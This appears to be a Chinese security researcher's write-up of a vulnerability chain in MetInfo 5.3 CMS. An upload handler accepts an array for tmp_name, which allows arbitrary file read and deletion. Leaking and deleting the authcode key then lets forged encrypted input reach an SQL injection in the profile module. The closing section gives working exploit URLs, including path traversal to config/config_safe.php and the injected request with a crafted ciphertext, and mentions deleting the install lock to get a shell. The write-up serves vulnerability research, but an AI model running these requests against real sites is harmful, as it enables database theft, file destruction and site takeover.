在app\system\include\module\uploadify.class.php中
可以看到 什么上传的路径啊 都是可控的。。
跟一下。
设置了一下属性。
在看一下上传的地方
基本都是可控的 。。 但是
可以的白名单限制了我们的filename 必须为jpg 之类的 没办法任意上传了。
继续看下面的。
来看看$file_name的限制
这里的$file_name 是必须以.jpg结尾的。 而且之前的小数点都会被替换为_
所以上传这个很蛋疼。。基本放弃了。
但是呢
这里的$file_name 因为之前的限制 不能直接上传php
但是我们看一下$file_tmp 怎么来的
$file_tmp=$filear["tmp_name"];
再看看$filear又是咋来的
可以看到 如果我们传递的是_FILES的话 那么这个tmp_name 肯定是不可控制的。
但是上面 如果我们传递的是数组过来的话。 那么这个$filear就可控了。
这里的move_uploaded_file 因为路径的原因会失败 那么就会进行copy
copy($file_tmp, $file_name) 那么我们就可以复制任意的一个文件成一个jpg
我们就可以复制配置文件成jpg 然后就可以看到配置文件的源码了。
但是 很不幸的是。
如果文件上传成功后 会删掉我们的临时文件。
这个是一个很正常的做法, 但是这时候我们的"临时文件"是我们网站的配置文件。 也会造成损失。
当然 这里也会造成任意文件删掉,但是测试的时候发现应该是config/config_db.php设置了权限 是删不掉的 其他的文件都能删掉。
进一步的利用 我们可以删掉install的lock 达到重装系统 最后getshell。
但是毕竟造成的损失太大。 找一个损失小的又能造成高危漏洞的地方。
在config/config_safe.php中 里面只有一行代码。
<?php/*R06DdgYN29vdspLQPZU52tMjElhnGSQe*/?>
这里面保存的是authcode函数 所用的key
我们在读取这个文件之后 这个文件就会被删掉。
我们再来看一下authcode函数
这时候因为config_safe.php被删掉了(删掉了并不会影响网站的正常运行), 那么$met_webkeys 就为空
$key ? $key : UC_KEY 这里的判断 因为$key的空 那么结果就是UC_KEY
但是也并没有UC_KEY这个常量 所以 UC_KEY就是一个字符串 我们的$key 就是md5后的UC_KEY
我们就能获得任意字符串经过authcode后的加密字符串。
再来找一下能在解密后利用的地方。
在app\system\web\user\profile.class.php中
这里我们$email 是对我们传递进来的变量解密后获得的
然后就直接带入了查询。
这里的话 有两种方式获取数据。
1: 我们自己注册一个会员 然后update我们的email 直接出数据
2: 不注册会员,直接延时盲注来获得数据。
演示下流程
第一步
http://localhost/metinfo5.3/app/system/entrance.php?c=uploadify&a=doupfile&savepath=../&formname[]=file&formname[name]=yu.jpg&formname[tmp_name]=../../config/config_safe.php&is_rename=0
返回{"error":"0","path":"..\/upload\/..\/yu.jpg"}
然后访问
返回
<?php/*Ae2mhnCxNoWRBkQbVyJiIvjuxnJElnSJ*/?>
然后写一个脚本
然后访问一下这个文件
得到
86aeSfPSoF2GzlEZT/P/5SYZtef5kRNd/w5WSzvqnG5abewRENEPluivs1go/Qr%2bzOiZe1N7tFHFOrw5Z63TiaPuqT005coGkjt5H6u5gkHxXrkGo3DU0P7rb9InuTdquyY5Z//DiooyKPfwblSiyQ9WepGho1leUDPU2%2bhMXjAQfnx33pQ
然后去注册一个号 xiaoyu xiaoyu
再请求
http://localhost/metinfo5.3/admin/index.php?m=web&n=user&c=profile&a=dosafety_emailadd&password=xx&p=86aeSfPSoF2GzlEZT/P/5SYZtef5kRNd/w5WSzvqnG5abewRENEPluivs1go/Qr%2bzOiZe1N7tFHFOrw5Z63TiaPuqT005coGkjt5H6u5gkHxXrkGo3DU0P7rb9InuTdquyY5Z//DiooyKPfwblSiyQ9WepGho1leUDPU2%2bhMXjAQfnx33pQ
最后访问http://localhost/metinfo5.3/member/basic.php?lang=cn&a=dosafety